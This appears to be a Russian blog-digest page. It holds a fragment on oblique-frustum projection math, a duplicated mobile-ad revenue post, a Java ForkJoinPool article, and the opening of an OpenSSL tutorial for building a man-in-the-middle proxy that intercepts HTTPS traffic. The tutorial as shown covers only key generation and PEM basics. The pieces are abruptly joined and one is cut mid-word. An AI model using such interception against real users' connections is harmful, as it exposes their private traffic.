                  Как уже предполагалось выше, следует ожидать, что процесс растеризации не будет столь же привычным, как в случае немодифицированной пирамиды видимости. Полный диапазон значений буфера глубины не будет достигаться вдоль различных направлений внутри пирамиды видимости вследствие изменения в геометрии пирамиды. Возьмем вектор произвольного направления \vec{V}=\langle V_x, V_y, V_z, 0\rangle в пространстве камеры вида, для которого V_z<0, и исследуем нормализованную z-координату точки \langle 0, 0, 1, 0\rangle + s\vec{V}, расположенной внутри пирамиды видимости:

                  \begin{array}{l}z(s)={\cfrac{(\mathbf{M}{^'}\langle sV_x, sV_y, sV_z, 1\rangle)_z}{(\mathbf{M}{^'}\langle sV_x, sV_y, sV_z, 1\rangle)_w}} \\[0.8em]
\qquad {}= {\cfrac{(\alpha\vec{C}-\vec{M}_4)\cdot\langle sV_x, sV_y, sV_z, 1\rangle}{\vec{M}_4\cdot\langle sV_x, sV_y, sV_z, 1\rangle}}\end{array},

                  где \alpha-масштабирующий фактор, введенный Выражением (17). Для \vec{M}_4=\langle 0, 0, -1, 0\rangle, Выражение (24) становится

                  \begin{array}{l}z(s)=\cfrac{\alpha sC_xV_x+\alpha sC_yV_y+\alpha sC_zV_z+sV_z+\alpha C_w}{-sV_z} \\[0.8em]
\qquad {}=\cfrac{\alpha s (\vec{C}\cdot \vec{V}) +sV_z+\alpha C_w}{-sV_z}\end{array}.

                  Мы полагаем, что скалярное произведение \vec{C}\cdot \vec{V} \geq 0, поскольку иначе точка \langle 0, 0, 1, 0\rangle + s\vec{V} лежала бы вне пирамиды видимости. Рассмотрим ситуацию, когда s стремится к бесконечности:

                  \lim_{s \to \infty} z(s)=-\cfrac{\alpha(\vec{C}\cdot \vec{V})+V_z}{V_z},

                  полученное выражение указывает максимально достижимое значение нормализованной z-координаты в направлении \vec{V}.
                  Исследуем направление \vec{V}=\langle 0, 0, -1, 0\rangle вдоль взгляда прямого взгляда из позиции камеры: предельное значение, указанное Выражением (26), меньше единицы, если выполняется условие \alpha C_z >-2. В этом случае, z-координата дальнего плана \vec{F}, заданного Выражением (16), меньше нуля, и дальний план не является плоскостью, ограничивающей объем пирамиды видимости. Поскольку дальний план может оказаться не достижимым вдоль направления \vec{V}, диапазон нормализованных значений для буфера глубины может оказаться существенно уже, чем в случае обычной пирамиды видимости.

                  Хорошей практикой для программиста будет, перед тем, как утвердить для дальнейшей работы выбранную пространственную модель, исследовать поведение нормализованной координаты внутри модифицированной (скошенной | oblique frustum) пирамиды видимости. Своевременно обнаружив проблемные места, он может поправить или положение камеры, или изменить угол наклона секущей плоскости таким образом, чтобы упростить работу буфера глубины, по возможности приблизив её к нормальному режиму. Затраты на такое действие не будут особенно значительными, но результат послужит спокойствию перфекциониста.
                  Продолжая эксплуатировать стандартную матрицу проекции из Выражения (10), легко перейти к очередному примеру её использования для исследования значений нормализованной z-координаты внутри модифицированной пирамиды видимости:

                  допустим, что плоскость, отсекающая неугодную нам геометрию, и которой мы замещаем ближний план пирамиды видимости, в направляющих косинусах представлена как \vec{C}=\langle C_x, C_y, -C_z, -d \rangle, и, в нашем частном случае, C_x, C_y, C_z имеют положительные значения (плоскость лежит напротив правого верхнего угла пирамиды), при этом C_z-угол между отрицательным направлением оси z и нормальным вектором нашей плоскости. Рассмотрим изменение нормализованной z-координаты вдоль отрицательного направления оси z в зависимости от угла между нормальным вектором плоскости ближнего плана и отрицательным направлением оси z, и расстоянием от камеры до ближнего плана.

                  Скалярное произведение \vec{C}\cdot\vec{Q} для этого случая, с учетом Выражения (22) даст следующий результат:

                  \vec{C}\cdot\vec{Q}=\cfrac{rfC_x+tfC_y-n(d-fC_z)}{nf},

                  и третья строка преобразованной матрицы проекции приобретет вид

                  \begin{array}{l}\vec{M}_3{^'}={\cfrac{2nf\langle C_x, C_y, -C_z, -d\rangle}{rfC_x+tfC_y-n(d-fC_z)}+\langle 0, 0, 1, 0\rangle}\end{array}.

                  Рассмотрим поведение нормализованной координаты z в направлении фронтального вида из камеры для точек \vec{P}=\langle 0, 0, P_z, 1 \rangle, из диапазона значений P_z \in [-n, -f]: нормализованная z-координата для этого случая станет

                  z={\frac{P_z^'}{P_w^'}}=-\cfrac{(rfC_x+tfC_y-n(d+fC_z))P_z-2nfd}{(rfC_x+tfC_y-n(d-fC_z))P_z} \; .

                  Последнее Выражение вполне подходит для целей численного исследования. Пример такого исследования можно видеть на Рис. 8. Диапазон нормализованных значений, предназначенных для буфера глубины, сильно сужается с ростом угла между нормалью плоскости и отрицательным направлением оси z, также значительно ухудшить точность работы буфера глубины может перемещение ближнего плана по направлению от камеры к дальнему плану (известно, что слишком близкое размещение к камере ближнего плана также неблагоприятно сказывается на значениях нормализованных координат).
                  modified far plane

                  Рис. 8. Сужение диапазона нормализованной z-координаты в н

                  Мобильные приложения: что такое предпраздничный сезон-2017 и как заработать на нем максимум?

                  Вторник, 26 Сентября 2017 г. 17:54 + в цитатник
                  lera_alfimova вчера в 17:54 Маркетинг

                  Мобильные приложения: что такое предпраздничный сезон-2017 и как заработать на нем максимум?

                    image


                    Предновогодние месяцы — время, когда разработчики могут получить максимум от рекламы. В этот период бренды активно вкладываются в рекламу, чтобы оказаться на виду у покупателей во время праздничного шоппинга. Почему мы решили написать об этом сейчас? Потому что готовиться к сезону и настраивать источники рекламы нужно заранее, то есть — в октябре.

                    Если ваше приложение направлено на американскую аудиторию, то вы наверняка знаете, что США — наиболее конкурентный рекламный рынок с самым высоким eCPM. В таком случае приготовьтесь к ключевым датам — в эти дни американские бренды будут соревноваться друг с другом за показы мобильной рекламы.



                    Накануне этих праздников убедитесь, что источники рекламы в вашем приложении работают исправно.

                    Кроме того, важно понимать, что после рождественского пика в течение первого квартала eCPM, скорее всего, будет снижаться. Это касается всех рекламных форматов.


                    Баннеры всегда популярны среди рекламодателей, особенно во время праздников (данные Appodeal за 2016-17 гг)
                    На графике выше хорошо заметно, что eCPM по баннерной рекламе с декабря 2016 по январь 2017 снизился на 46%. Иными словами, если вы встраиваете рекламу в приложение в январе, вы рискуете упустить до 81% подросшей выручки только лишь из-за промедления в один месяц. В этом деле все решают сроки.


                    Rewarded video (видео с вознаграждением) стремительно растет. Согласно прогнозам, eCPM для этого вида рекламы в предстоящий сезон праздников обгонит 2016 год c высоким показателем доходности (данные Appodeal).
                    eCPM для rewarded video с декабря 2016 по январь 2017 снизился всего на 9%. Потенциальные потери из-за упомянутой ранее задержки в месяц — 10% увеличенной рекламной выручки.


                    Полноэкранные статичные баннеры по-прежнему популярны, однако, согласно прогнозам, по этому виду рекламы eCPM ожидается довольно невысокий (данные Appodeal).
                    eCPM этого формата снизился на 20% с декабря по январь. Из-за задержки в месяц разработчик может упустить до 25% от сезонно выросшей рекламной выручки.


                    Полноэкранная видеореклама обещает сильно вырасти в декабре, потому что бренды хотят донести рекламные сообщения в самом впечатляющем формате (данные Appodeal).
                    eCPM для полноэкранного видео снизился на 18% с декабря 2016 по январь 2017 — это означает, что из-за задержки в месяц есть риск упустить до 21% от возможного рекламного дохода.

                    Как показывают графики выше, некоторые рекламные форматы — например, rewarded videos и статичная полноэкранная реклама, — вернулись к высокому уровню eCPM к марту. А такие форматы как баннеры и полноэкранное видео добираются до пика eCPM только в течение праздников.


                    Правильные рекламные сети — еще один важный фактор, который влияет на повышенный доход в праздничный период. Некоторые из сетей просто более популярны среди крупных рекламодателей.

                    Вот список рекламных сетей, который показали наилучшие результаты в декабре 2016 года по сравнению с их средним ежегодным eCPM по США (по данным Appodeal):



                    Вывод очевиден: если вы планируете встроить рекламу в свое приложение, сделайте это заранее, чтобы не пропустить сезонный рост дохода. В октябре же стоит начать интеграцию и оптимизацию монетизационной стратегии — тогда вы точно выиграете от повышения eCPM ближе к рождественским праздникам.
                    Original source: habrahabr.ru (comments, light).

                    https://habrahabr.ru/post/338772/


                    Мобильные приложения: что такое предпраздничный сезон-2017 и как заработать на нем максимум?

                    Вторник, 26 Сентября 2017 г. 17:54 + в цитатник
                    lera_alfimova вчера в 17:54 Маркетинг

                    Мобильные приложения: что такое предпраздничный сезон-2017 и как заработать на нем максимум?

                      image


                      Предновогодние месяцы — время, когда разработчики могут получить максимум от рекламы. В этот период бренды активно вкладываются в рекламу, чтобы оказаться на виду у покупателей во время праздничного шоппинга. Почему мы решили написать об этом сейчас? Потому что готовиться к сезону и настраивать источники рекламы нужно заранее, то есть — в октябре.

                      Если ваше приложение направлено на американскую аудиторию, то вы наверняка знаете, что США — наиболее конкурентный рекламный рынок с самым высоким eCPM. В таком случае приготовьтесь к ключевым датам — в эти дни американские бренды будут соревноваться друг с другом за показы мобильной рекламы.



                      Накануне этих праздников убедитесь, что источники рекламы в вашем приложении работают исправно.

                      Кроме того, важно понимать, что после рождественского пика в течение первого квартала eCPM, скорее всего, будет снижаться. Это касается всех рекламных форматов.


                      Баннеры всегда популярны среди рекламодателей, особенно во время праздников (данные Appodeal за 2016-17 гг)
                      На графике выше хорошо заметно, что eCPM по баннерной рекламе с декабря 2016 по январь 2017 снизился на 46%. Иными словами, если вы встраиваете рекламу в приложение в январе, вы рискуете упустить до 81% подросшей выручки только лишь из-за промедления в один месяц. В этом деле все решают сроки.


                      Rewarded video (видео с вознаграждением) стремительно растет. Согласно прогнозам, eCPM для этого вида рекламы в предстоящий сезон праздников обгонит 2016 год c высоким показателем доходности (данные Appodeal).
                      eCPM для rewarded video с декабря 2016 по январь 2017 снизился всего на 9%. Потенциальные потери из-за упомянутой ранее задержки в месяц — 10% увеличенной рекламной выручки.


                      Полноэкранные статичные баннеры по-прежнему популярны, однако, согласно прогнозам, по этому виду рекламы eCPM ожидается довольно невысокий (данные Appodeal).
                      eCPM этого формата снизился на 20% с декабря по январь. Из-за задержки в месяц разработчик может упустить до 25% от сезонно выросшей рекламной выручки.


                      Полноэкранная видеореклама обещает сильно вырасти в декабре, потому что бренды хотят донести рекламные сообщения в самом впечатляющем формате (данные Appodeal).
                      eCPM для полноэкранного видео снизился на 18% с декабря 2016 по январь 2017 — это означает, что из-за задержки в месяц есть риск упустить до 21% от возможного рекламного дохода.

                      Как показывают графики выше, некоторые рекламные форматы — например, rewarded videos и статичная полноэкранная реклама, — вернулись к высокому уровню eCPM к марту. А такие форматы как баннеры и полноэкранное видео добираются до пика eCPM только в течение праздников.


                      Правильные рекламные сети — еще один важный фактор, который влияет на повышенный доход в праздничный период. Некоторые из сетей просто более популярны среди крупных рекламодателей.

                      Вот список рекламных сетей, который показали наилучшие результаты в декабре 2016 года по сравнению с их средним ежегодным eCPM по США (по данным Appodeal):



                      Вывод очевиден: если вы планируете встроить рекламу в свое приложение, сделайте это заранее, чтобы не пропустить сезонный рост дохода. В октябре же стоит начать интеграцию и оптимизацию монетизационной стратегии — тогда вы точно выиграете от повышения eCPM ближе к рождественским праздникам.
                      Original source: habrahabr.ru (comments, light).

                      https://habrahabr.ru/post/338772/


                      Stream API & ForkJoinPool

                      Вторник, 26 Сентября 2017 г. 17:53 + в цитатник
                      MaxRokatansky вчера в 17:53 Разработка

                      Stream API & ForkJoinPool

                        Продолжаем серию полезностей, которыми мы делимся с вами. Теперь уже вновь по Java.

                        Если вы уже знакомы со Stream API и использовали его, то знаете, что это удобный способ обработки данных. С помощью различных встроенных операций, таких как map, filter, sort и других можно преобразовать входящие данные и получить результат. До появления стримов разработчик был вынужден императивно описывать процесс обработки, то есть создавать цикл for по элементам, затем сравнивать, анализировать и сортировать при необходимости. Stream API позволяет декларативно описать, что требуется получить без необходимости описывать, как это делать. Чем-то это напоминает SQL при работе с базами данных.



                        Стримы сделали Java-код компактнее и читаемее. Еще одной идеей при создании Stream API было предоставить разработчику простой способ распараллеливания задач, чтобы можно было получить выигрыш в производительности на многоядерных машинах. При этом нужно было избежать сложности, присущей многопоточному программированию. И это удалось сделать, в Stream API есть методы BaseStream::parallel и Collection.parallelStream(), которые возвращают параллельный стрим.

                        То есть, если у нас был код:

                        Collection.stream().operation()

                        то его легко распараллелить, если изменить один вызов

                        Collection.parallelStream().operation()

                        либо в общем случае для произвольного stream:

                        Source.stream().parallel().operation()

                        Как и за всяким простым API, за parallelStream() скрывается сложный механизм распараллеливания операций. И разработчику придется столкнуться с тем, что использование параллельного стрима может не улучшить производительность, а даже ухудшить её, поэтому важно понимать, что происходит за вызовом parallelStream(). Есть статья Doug Lea о том, в каких случаях использование параллельных стримов даст положительный эффект. Следует обратить внимание на следующие факторы:

                        F — операция, которая будет применяться к каждому элементу стрима. Она должна быть независимой — то есть не оказывает влияние на другие элементы, кроме текущего и не зависит от других элементов (stateless non-interfering function)

                        S — источник данных (коллекция) эффективно разделима (efficiently splittable). Например, ArrayList — это эффективно разделимый источник, легко вычислить индексы и интервалы, которые можно обрабатывать параллельно. Также эффективно обрабатывать HashMap. BlockingQueue, LinkedList и большинство IO-источников это плохие кандидаты для параллельной обработки.

                        Оценка преимущества параллельной обработки. На современных машинах имеет смысл распараллеливать задачи, время выполнения которых превышает 100 микросекунд.

                        Таким образом, прежде чем использовать этот инструмент, нужно понять, насколько ваша задача укладывается в описанные ограничения.

                        Экспериментируя с parallel() наткнулись ещё на один интересный момент, связанный с текущей реализацией. Parallel() пытается исполнять ваш код в несколько потоков и становится интересно, кто эти потоки создаёт и как ими управляет.

                        Попробуем запустить такой код:

                        void parallel() {
                          int result = IntStream.range(0, 3)
                               .parallel()
                               .peek(it -> System.out.printf("Thread [%s] peek: %d\n", Thread.currentThread().getName(), it))
                               .sum();
                          System.out.println("sum: " + result);
                        }
                        

                        Thread [ForkJoinPool.commonPool-worker-1] peek: 0
                        Thread [main] peek: 1
                        Thread [ForkJoinPool.commonPool-worker-0] peek: 2
                        sum: 3

                        Уже интересно, оказывается, по умолчанию parallel stream используют ForkJoinPool.commonPool. Этот пул создается статически, то есть при первом обращении к ForkJoinPool, он не реагирует на shutdown()/shutdownNow() и живет, пока не будет вызван System::exit. Если задачам не указывать конкретный пул, то они будут исполняться в рамках commonPool.

                        Попробуем выяснить, каков же размер commonPool и посмотрим в исходники jdk1.8.0_111. Для читаемости убраны некоторые вызовы, которые не относятся к parallelism.

                        ForkJoinPool::makeCommonPool
                        
                        private static ForkJoinPool makeCommonPool() {
                           int parallelism = -1;
                           try {  // ignore exceptions in accessing/parsing properties
                               String pp = System.getProperty
                                   ("java.util.concurrent.ForkJoinPool.common.parallelism");
                                   if (pp != null)
                                     parallelism = Integer.parseInt(pp);
                              } catch (Exception ignore) {
                           }
                           if (parallelism < 0 && // default 1 less than #cores
                               (parallelism = Runtime.getRuntime().availableProcessors() - 1) <= 0)
                               parallelism = 1;
                           if (parallelism > MAX_CAP)
                               parallelism = MAX_CAP;
                           return new ForkJoinPool(parallelism, factory, handler, LIFO_QUEUE,
                                                   "ForkJoinPool.commonPool-worker-");
                        }
                        

                        Из того же класса константа:

                        static final int MAX_CAP      = 0x7fff;        // max #workers - 1


                        Нас интересует parallelism, который отвечает за количество воркеров в пуле. По-умолчанию, размер пула равен Runtime.getRuntime().availableProcessors() — 1, то есть на 1 меньше, чем количество доступных ядер. Когда вы создаете кастомный FJPool, то можно установить желаемый уровень параллелизма через конструктор. А для commonPool можно задать уровень через параметры JVM:

                        -Djava.util.concurrent.ForkJoinPool.common.parallelism=n

                        Сверху свойство ограничено числом 32767 (0x7fff);

                        Это может быть полезно, если вы не хотите отдавать все ядра под задачи ForkJoinPool, возможно, ваше приложение в обычном режиме утилизирует 4 из 8 CPU, тогда имеет смысл отдать под FJ оставшиеся 4 ядра.

                        Появляется вопрос, почему количество воркеров на 1 меньше количества ядер. Ответ можно увидеть в документации к ForkJoinPool.java:

                        When external threads submit to the common pool, they can
                        * perform subtask processing (see externalHelpComplete and
                        * related methods) upon joins. This caller-helps policy makes it
                        * sensible to set common pool parallelism level to one (or more)
                        * less than the total number of available cores, or even zero for
                        * pure caller-runs


                        То есть, когда некий тред отправляет задачу в common pool, то пул может использовать вызывающий тред (caller-thread) в качестве воркера. Вот почему в выводе программы мы видели main! Разгадка найдена, ForkJoinPool пытается загрузить своими задачами и вызывающий тред. В коде выше это main, но если вызовем код из другого треда, то увидим, что это работает и для произвольного потока:

                        Thread t = new Thread(() -> {
                           parallel();
                        }, "MyThread");
                        
                        t.start();
                        t.join();
                        

                        Thread [ForkJoinPool.commonPool-worker-1] peek: 0
                        Thread [MyThread] peek: 1
                        Thread [ForkJoinPool.commonPool-worker-0] peek: 2
                        sum: 3

                        Теперь мы знаем немного больше об устройстве ForkJoinPool и parallel stream. Оказывается, что количество воркеров parallel stream ограничено и эти воркеры общего назначения, то есть могут быть использованы любыми другими задачами, которые запускаются на commonPool. Попробуем понять, чем это чревато для нас при разработке.

                        Рассмотрим следующий код. Для наглядности запускаем с -Djava.util.concurrent.ForkJoinPool.common.parallelism=2, то есть для FJPool.commonPool доступны 2 воркера и вызывающий поток.

                        final long ms = System.currentTimeMillis();
                        ForkJoinPool commonPool = ForkJoinPool.commonPool();
                        System.out.println("Parallelism: " + commonPool.getParallelism());
                        IntStream.range(0, commonPool.getParallelism() + 1).forEach((it) -> commonPool.submit(() -> {
                           try {
                               System.out.printf("[%d sec] [%s]: #%d start()\n",
                                       TimeUnit.SECONDS.convert(System.currentTimeMillis() - ms, TimeUnit.MILLISECONDS),
                                       Thread.currentThread().getName(), it);
                               TimeUnit.SECONDS.sleep(5);
                           } catch (Exception e) {e.printStackTrace();}
                           System.out.printf("[%d sec] [%s]: #%d finish()\n", TimeUnit.SECONDS.convert(System.currentTimeMillis() - ms, TimeUnit.MILLISECONDS), Thread.currentThread().getName(), it);
                        }));
                        
                        int result = IntStream.range(0, 3)
                               .parallel()
                               .peek(it -> System.out.printf("Thread [%s] peek: %d\n", Thread.currentThread().getName(), it))
                               .sum();
                        System.out.println("sum: " + result);
                        commonPool.awaitTermination(100, TimeUnit.SECONDS);

                        Parallelism: 2
                        [0 sec] [ForkJoinPool.commonPool-worker-1]: #0 start()
                        Thread [main] peek: 1
                        [0 sec] [ForkJoinPool.commonPool-worker-0]: #1 start()
                        Thread [main] peek: 2
                        Thread [main] peek: 0
                        sum: 3
                        [0 sec] [main]: #2 start()
                        [5 sec] [ForkJoinPool.commonPool-worker-0]: #1 finish()
                        [5 sec] [ForkJoinPool.commonPool-worker-1]: #0 finish()
                        [5 sec] [main]: #2 finish()

                        В коде происходит следующее: мы пытаемся полностью занять пул, отправив туда parallelism + 1 задачу (то есть 3 штуки в данном случае). После этого запускаем параллельную обработку стрима из первого примера. По логам видно, что parallel стрим исполняется в один поток, так как все ресурсы пула исчерпаны. Не зная о такой особенности будет сложно понять, если в вашей программе вырастет время обработки какого то запроса через BaseStream::parallel.

                        Что же делать, если вы хотите быть уверены, что ваш код действительно будет распараллелен? Есть решение, нужно запустить parallel() на кастомном пуле, для этого нам придётся немного модифицировать код из примера выше и запустить код обработки данных, как Runnable на кастомном FJPool:

                        ForkJoinPool custom = new ForkJoinPool(2);
                        custom.submit(() -> {
                                   int result = IntStream.range(0, 3)
                                           .parallel()
                                           .peek(it -> System.out.printf("Thread [%s] peek: %d\n", Thread.currentThread().getName(), it))
                                           .sum();
                                   System.out.println("sum: " + result);
                               });

                        Parallelism: 2
                        [0 sec] [ForkJoinPool.commonPool-worker-1]: #0 start()
                        Thread [ForkJoinPool-1-worker-0] peek: 0
                        Thread [ForkJoinPool-1-worker-1] peek: 1
                        [0 sec] [main]: #2 start()
                        [0 sec] [ForkJoinPool.commonPool-worker-0]: #1 start()
                        Thread [ForkJoinPool-1-worker-0] peek: 2
                        sum: 3
                        [5 sec] [ForkJoinPool.commonPool-worker-1]: #0 finish()
                        [5 sec] [ForkJoinPool.commonPool-worker-0]: #1 finish()
                        [5 sec] [main]: #2 finish()

                        Окей, теперь мы добились своей цели и уверены, что наши вычисления под контролем и никто не может повлиять на них со стороны.

                        Прежде чем применять любой, даже самый простой инструмент необходимо выяснить его особенности и ограничения. Для parallel stream таких особенностей много и необходимо учитывать, насколько ваша задача подходит для распараллеливания. Parallel stream хорошо работают, если операции независимы и не хранят состояние, источник данных может быть легко разделен на сегменты для параллельной обработки и задачу действительно имеет смысл выполнять параллельно. Помимо этого нужно учесть особенности реализации и убедиться, что для важных вычислений вы используете отдельный пул потоков, а не делите с общим пулом приложения.

                        Вопросы и предложения, как всегда приветствуются, т.к. это является частью нашего курса по Java и нам интересно мнение по материалу.
                        Original source: habrahabr.ru (comments, light).

                        https://habrahabr.ru/post/338770/


                        Метки:  

                        Делаем MitM с помощью openssl на Android

                        Вторник, 26 Сентября 2017 г. 16:41 + в цитатник
                        Last_angel вчера в 16:41 Разработка

                        Делаем MitM с помощью openssl на Android

                          image


                          Мотивация


                          В русскоязычном интернете трудно найти информацию об API-библиотеке OpenSSL. Большое внимание уделяется использованию консольных команд для манипуляции с самоподписанными сертификатами для веб-серверов или OpenVPN-серверов.


                          Такой подход хорош, когда нужно сделать пару сертификатов в час. А если потребуется создать сразу пару сотен за минуту? Или писать скрипт и разбирать вывод из консоли? А если в процессе произошла ошибка?


                          При использовании API генерация сертификатов, проверка валидности и подпись выполняются гораздо проще. Появляется возможность контролировать и обрабатывать ошибки на всех этапах работы, а также указывать дополнительные параметры сертификата (поскольку не все параметры можно задавать из консоли) и производить тонкую настройку.


                          Отдельно стоит отметить сетевую составляющую. Если сертификат есть и просто лежит на диске, он бесполезен.


                          К сожалению, очень мало русской документации по вопросу организации SSL-сервера, по тому, как организовать SSL-клиент для получения данных. Официальная документация не настолько полна и хороша, чтобы можно было сразу включиться в работу с библиотекой. Не все функции описаны подробно, приходится экспериментировать с параметрами, с тем, в какой последовательности и что именно нужно очищать, а что библиотека удалит самостоятельно.


                          Данная статья — компиляция моего опыта по работе с библиотекой OpenSSL при реализации клиент-серверного приложения. Описанные в ней функции будут работать как на десктопе, так и на Android-устройствах. К статье прилагается репозиторий с кодом на C/C++ для того, чтобы вы могли увидеть работу описываемых функций.


                          Цель


                          При изучении новой библиотеки или технологии я стараюсь решать проблемы с помощью нового функционала. В данном случае попробуем сделать MITM
                          для перехвата трафика к HTTPS-серверу.


                          Сформируем требования к программе:
                          Ожидать подключения по порту (SSL-сервер)
                          При появлении входящего подключения:


                          • Подключиться к HTTPS-серверу
                          • Прочитать запрос клиента к серверу
                          • Передать прочитанные от клиента данные серверу
                          • Прочитать ответ сервера
                          • Передать ответ сервера клиенту
                          • Сбросить соединения

                          Так как у нас будет SSL-сервер, нам понадобятся сертификат удостоверяющего центра и сертификат для нашего сервера.
                          Пусть эти данные будут генерироваться нашей программой, а сертификат CA будет выгружаться в файл в рабочей папке программы.


                          Разработка будет вестись на Ubuntu, прочий инструментарий: компилятор GCC 5.4.0, OpenSSL 1.0.2, curl 7.52.1, CMake 3.8.1 (единственный не из пакетов).


                          Для отправки запросов к нашему приложению будем использовать curl из консоли. Поскольку нам нужно указать CA-сертификат, команда будет выглядеть так:


                          curl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com"

                          Указание заголовка Host требуется для того, чтобы curl корректно составил HTTP-запрос. Без этого сервер ответит ошибкой.


                          Начало и завершение работы


                          Для работы с библиотекой OpenSSL ее нужно инициализировать. Используйте следующий код:


                          #include bio.h>
                          #include ssl.h>
                          #include err.h>
                          ...
                          void InitOpenSSL()
                          {
                              OpenSSL_add_all_algorithms();
                              ERR_load_BIO_strings();
                              ERR_load_crypto_strings();
                              SSL_load_error_strings();
                              SSL_library_init();
                          }

                          Перед завершением приложения следует провести очистку библиотеки, для этого можно использовать следующий код:


                          void ClearOpenSSL()
                          {
                              EVP_cleanup();
                              CRYPTO_cleanup_all_ex_data();
                              ERR_remove_thread_state(NULL);
                              ERR_free_strings();
                          }

                          Контекст


                          Большинство операций библиотеки OpenSSL требуют наличия контекста. Эта структура, которая хранит используемые алгоритмы, их параметры и прочие данные. Она создается с помощью функции:


                          SSL_CTX *SSL_CTX_new(const SSL_METHOD *method);

                          Список методов, которые можно передать в эту функцию, довольно обширен, но документация говорит нам, что нужно использовать SSLv23_server_method() для сервера и SSLv23_client_method() для клиента.


                          При этом библиотека автоматически выберет максимально безопасный протокол, поддерживаемый клиентом и сервером.


                          Вот пример создания контекста для клиента:


                          SSL_CTX *ctx = NULL;
                          
                          ctx = SSL_CTX_new(SSLv23_client_method());
                          if (ctx == NULL)
                          {
                              //Обработка ошибок
                          }

                          Для корректного удаления контекста следует использовать функцию SSL_CTX_free.


                          Мне не очень нравится использовать SSL_CTX_free каждый раз, когда контекст необходимо удалить. Можно использовать умные указатели с указанием функции удаления или обернуть структуру в класс RAII:


                          std::shared_ptr m_ctx(ctx, SSL_CTX_free);

                          Работа с ошибками


                          Большинство функций библиотеки OpenSSL возвращают 1 как признак успешного выполнения. Вот обычный код с проверкой на возникновение ошибки:


                          if (SSL_CTX_load_verify_locations(ctx, fileName, NULL) != 1)
                          {
                              //Обработка ошибки
                          }

                          Однако иногда этого недостаточно, а иногда необходимо более подробное описание проблемы. Для этого OpenSSL использует в каждом потоке отдельную очередь сообщений. Чтобы извлечь код ошибки из очереди, следует использовать функцию ERR_get_error().


                          Сам по себе код ошибки не очень понятен пользователю, поэтому можно использовать функцию ERR_error_string для получения строкового представления о коде ошибки. Если функция возвращает 0, это значит, что ошибки нет.


                          Вот пример получения строки с описанием ошибки по коду ошибки:


                          #include err.h>
                          
                          ...
                          //Вызов каких-либо функций библиотеки OpenSSL
                          std::cerr << ERR_error_string(ERR_get_error(), NULL) << std::endl;
                          ...

                          Второй параметр функции ERR_error_string — это указатель на буфер, который должен быть не менее 120 символов длиной. Если его не указать, то будет использоваться статический буфер, который перезаписывается при каждом вызове этой функции.


                          Стоит отметить, что для каждого отдельного потока создается отдельная очередь сообщений об ошибке.


                          Ключи


                          Теперь чтобы организовать OpenSSL-сервер, нам потребуется создать сертификат удостоверяющего центра и сертификат сервера. Для каждого из них нам нужно создать ключи для подписи.


                          Создание


                          Для хранения пары закрытый/открытый ключ в OpenSSL используется структура EVP_PKEY. Данная структура создается следующим образом:


                          EVP_PKEY *pkey = NULL;
                          
                          pkey = EVP_PKEY_new();
                          if (pkey == NULL)
                          {   
                              //Обработка ошибки     
                          }

                          Подробнее о EVP можно прочитать здесь.


                          Обратная для EVP_PKEY_new функция EVP_PKEY_free освобождает память и удаляет структуру EVP_PKEY.


                          Теперь необходимо подготовить BIGNUM структуру для генерации RSA (подробнее об этой структуре можно узнать здесь):


                          BIGNUM *big = NULL;
                          big = BN_new();
                          if (big == NULL)
                          {
                              //Обработка ошибки
                          }
                          else if (BN_set_word(big, RSA_F4) != 1)
                          {
                              //Обработка ошибки
                              BN_free(big);
                          }

                          Функция BN_set_word устанавливает размер для структуры BIGNUM. Допустимыми являются значения RSA_3 и RSA_F4, последний — предпочтительнее.


                          Настал черед для генерации ключей. Для этого нужно создать структуру RSA:


                          RSA *rsa = NULL;
                          rsa = RSA_new();
                          if (rsa == NULL)
                          {
                              //Обработка ошибки
                          }

                          Теперь сама генерация ключей:


                          if (RSA_generate_key_ex(rsa, 4096, big, NULL) != 1)
                          {
                              //Обработка ошибки
                          }

                          4096 это размер ключа, который мы хотим получить.


                          Заканчиваем генерацию ключей записью новых ключей в структуру EVP_PKEY:


                          if (EVP_PKEY_assign_RSA(pkey, rsa) !=1)
                          {
                              //Обработка ошибки
                          }

                          PEM-формат


                          PEM — достаточно простой формат для хранения ключей и сертификатов. Он представляет собой текстовый файл, в котором последовательно хранятся записи вида:


                          -----BEGIN RSA PRIVATE KEY-----
                          MIIJJwIBAAKCAgEAvNwgYmIyfvY6IsVZwRCkAHTOhwE3Rp/uNcUoTcPl5atOwPVW
                          JLY3odYmILsa8se7B/aNNzO7AlvXwlzxinQ3AF7l37LqGzf8v16TFVN4kit8vrq0
                          V9bBXHpiWH+YQT4gBVmSkwqEMZ/wQlUOIxz4Q2M7cXRu4fRe3rt3kGHCPJ66Ybax
                          yEp6nfdK8IKsyxqAXjBkqfC5rkdw2n7UAd/OnPRCDowyvythDb8jR1LkbJjlIatK
                          ....
                          yajhmBDpS11hzuWHhDmpjbrV79OMRzKQAWBKRubObtGIsFB2CzbabusV+oq/Y78y
                          OxriZYqoRv3WB5GH/pPO9w1ptveddLU33NVBSRfFS1jyqyj/1CqXlE4gcQ==
                          -----END RSA PRIVATE KEY-----
                          -----BEGIN CERTIFICATE-----
                          MIIFkTCCA3mgAwIBAgIJAMPIqA2oVd/SMA0GCSqGSIb3DQEBCwUAMF8xCzAJBgNV
                          BAYTAlJVMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcMBk1vc2NvdzEUMBIGA1UE
                          ...
                          bt9NHGnCxYcParG+YqU5UTUrCUGUfnZhJAX+qkgsVSC5c81Tk0VXTQx3EiEvdzV+
                          wUX9LMRLIxjy1D5AO6a29LkzNAvw+iFm36VO+ssdkJW4Q6MAYA==
                          -----END CERTIFICATE-----

                          Тут стоит отметить, что количество символов ----- в начале заголовка и в конце, а также в закрывающей строке должно быть одинаковым.


                          Более подробно этот формат описан тут:
                          RFC1421 Part I: Message Encryption and Authentication Procedures
                          RFC1422 Part II: Certificate-Based Key Management
                          RFC1423 Part III: Algorithms, Modes, and Identifiers
                          RFC1424 Part IV: Key Certification and Related Services


                          Запись ключей в PEM-формате


                          Допустим, у нас есть пара открытый/закрытый ключ в структуре EVP_PKEY, тогда для записи их в файл следует использовать функции PEM_write_PrivateKey и PEM_write_PUBKEY.


                          Вот пример использования этих функций:


                          FILE *f = fopen("server.pem", "wb");
                          if (!PEM_write_PrivateKey(f, key, NULL, NULL, 0, 0, NULL))
                          {
                              //Обработка ошибки
                              fclose(f);
                          }
                          else if (!PEM_write_PUBKEY(f, key))
                          {
                              //Обработка ошибки
                              fclose(f);
                          }
                          fclose(f);

                          Стоит дать некоторые пояснения относительно функции


